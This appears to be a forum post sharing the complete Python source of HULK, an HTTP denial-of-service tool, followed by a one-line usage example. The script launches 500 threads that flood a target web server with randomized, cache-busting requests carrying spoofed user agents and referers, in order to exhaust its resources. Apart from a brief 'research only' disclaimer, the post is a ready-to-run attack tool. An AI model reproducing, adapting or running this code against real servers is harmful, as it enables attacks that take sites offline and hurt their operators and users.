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Code:
[LIST=1]
[*]# ----------------------------------------------------------------------------------------------
[*]# HULK - HTTP Unbearable Load King
[*]#
[*]# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
[*]# to their knees by exhausting the resource pool, its is meant for research purposes only
[*]# and any malicious usage of this tool is prohibited.
[*]#
[*]# author : Barry Shteiman , version 1.0
[*]# ----------------------------------------------------------------------------------------------
[*]import urllib2
[*]import sys
[*]import threading
[*]import random
[*]import re
[*]
[*]#global params
[*]url=''
[*]host=''
[*]headers_useragents=[]
[*]headers_referers=[]
[*]request_counter=0
[*]flag=0
[*]safe=0
[*]
[*]def inc_counter():
[*] global request_counter
[*] request_counter+=1
[*]
[*]def set_flag(val):
[*] global flag
[*] flag=val
[*]
[*]def set_safe():
[*] global safe
[*] safe=1
[*]
[*]# generates a user agent array
[*]def useragent_list():
[*] global headers_useragents
[*] headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
[*] headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
[*] headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
[*] headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
[*] headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
[*] headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
[*] headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
[*] headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
[*] headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
[*] headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
[*] headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
[*] headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
[*] return(headers_useragents)
[*]
[*]# generates a referer array
[*]def referer_list():
[*] global headers_referers
[*] headers_referers.append('http://www.google.com/?q=')
[*] headers_referers.append('http://www.usatoday.com/search/results?q=')
[*] headers_referers.append('http://engadget.search.aol.com/search?q=')
[*] headers_referers.append('http://' + host + '/')
[*] return(headers_referers)
[*]
[*]#builds random ascii string
[*]def buildblock(size):
[*] out_str = ''
[*] for i in range(0, size):
[*] a = random.randint(65, 90)
[*] out_str += chr(a)
[*] return(out_str)
[*]
[*]def usage():
[*] print '---------------------------------------------------'
[*] print 'USAGE: python hulk.py <url>'
[*] print 'you can add "safe" after url, to autoshut after dos'
[*] print '---------------------------------------------------'
[*]
[*]
[*]#http request
[*]def httpcall(url):
[*] useragent_list()
[*] referer_list()
[*] code=0
[*] if url.count("?")>0:
[*] param_joiner="&"
[*] else:
[*] param_joiner="?"
[*] request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
[*] request.add_header('User-Agent', random.choice(headers_useragents))
[*] request.add_header('Cache-Control', 'no-cache')
[*] request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
[*] request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
[*] request.add_header('Keep-Alive', random.randint(110,120))
[*] request.add_header('Connection', 'keep-alive')
[*] request.add_header('Host',host)
[*] try:
[*] urllib2.urlopen(request)
[*] except urllib2.HTTPError, e:
[*] #print e.code
[*] set_flag(1)
[*] print 'Response Code 500'
[*] code=500
[*] except urllib2.URLError, e:
[*] #print e.reason
[*] sys.exit()
[*] else:
[*] inc_counter()
[*] urllib2.urlopen(request)
[*] return(code)
[*]
[*]
[*]#http caller thread
[*]class HTTPThread(threading.Thread):
[*] def run(self):
[*] try:
[*] while flag<2:
[*] code=httpcall(url)
[*] if (code==500) & (safe==1):
[*] set_flag(2)
[*] except Exception, ex:
[*] pass
[*]
[*]# monitors http threads and counts requests
[*]class MonitorThread(threading.Thread):
[*] def run(self):
[*] previous=request_counter
[*] while flag==0:
[*] if (previous+100<request_counter) & (previous<>request_counter):
[*] print "%d Requests Sent" % (request_counter)
[*] previous=request_counter
[*] if flag==2:
[*] print "\n-- HULK Attack Finished --"
[*]
[*]#execute
[*]if len(sys.argv) < 2:
[*] usage()
[*] sys.exit()
[*]else:
[*] if sys.argv[1]=="help":
[*] usage()
[*] sys.exit()
[*] else:
[*] print "-- HULK Attack Started --"
[*] if len(sys.argv)== 3:
[*] if sys.argv[2]=="safe":
[*] set_safe()
[*] url = sys.argv[1]
[*] if url.count("/")==2:
[*] url = url + "/"
[*] m = re.search('http\://([^/]*)/?.*', url)
[*] host = m.group(1)
[*] for i in range(500):
[*] t = HTTPThread()
[*] t.start()
[*] t = MonitorThread()
[*] t.start()
[/LIST]
Code:
python hulk.py 127.0.0.1Source :
http://i.imgur.com/NO6eY4l.png
Source :
lien ou image supprimée
